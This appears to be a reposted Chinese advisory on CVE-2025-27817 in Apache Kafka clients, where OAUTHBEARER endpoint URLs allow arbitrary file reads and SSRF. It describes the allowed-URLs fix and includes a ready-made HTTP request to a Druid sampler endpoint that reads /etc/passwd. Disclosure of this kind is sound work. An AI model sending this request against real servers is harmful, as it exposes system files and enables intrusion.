Apache Kafka 客户端中发现了一个潜在的任意文件读取和 SSRF 漏洞。
Apache Kafka 客户端接受用于设置与代理服务器的 SASL/OAUTHBEARER 连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache Kafka 允许客户端读取任意文件并将内容返回到错误日志中,或将请求发送到非预期位置。
在 Apache Kafka 客户端配置可由不受信任方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置读取磁盘和环境变量中的任意内容,或向非预期位置发出请求。具体来说,该缺陷可能在 Apache Kafka Connect 中被用来从 REST API 访问升级到文件系统/环境/URL 访问,这在某些环境(包括 SaaS 产品)中可能是不受欢迎的。
自 Apache Kafka 3.9.1/4.0.0 版本起,我们添加了一个系统属性(“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”),用于在 SASL JAAS 配置中设置允许的 URL。在 3.9.1 版本中,为了向后兼容,它默认接受所有 URL。然而,在 4.0.0 及更新版本中,默认值为空列表,用户必须明确设置允许的 URL。
POST/druid/indexer/v1/sampler?for=connect HTTP/1.1Host: Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1617{"type": "kafka","spec": {"type": "kafka","ioConfig": {"type": "kafka","consumerProperties": {"bootstrap.servers": "127.0.0.1:6666","sasl.mechanism": "OAUTHBEARER","security.protocol": "SASL_SSL","sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler","sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd","sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url="http://127.0.0.1:9999/token" sasl.oauthbearer.jwks.endpoint.url="http://127.0.0.1:9999/jwks" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer="http://127.0.0.1:9999" useFirstPass=true serviceName=kafka debug=true;" },"topic": "test","useEarliestOffset": true,"inputFormat": {"type": "regex","pattern": "([\s\S]*)","listDelimiter": "","columns": ["raw"] } },"dataSchema": {"dataSource": "sample","timestampSpec": {"column": "!!!_no_such_column_!!!","missingValue": "1970-01-01T00:00:00Z" },"dimensionsSpec": {},"granularitySpec": {"rollup": false } },"tuningConfig": {"type": "kafka" } },"samplerConfig": {"numRows": 500,"timeoutMs": 15000 }}
原文始发于微信公众号(Ots安全):CVE-2025-27817 Apache Kafka 客户端:任意文件读取和 SSRF 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论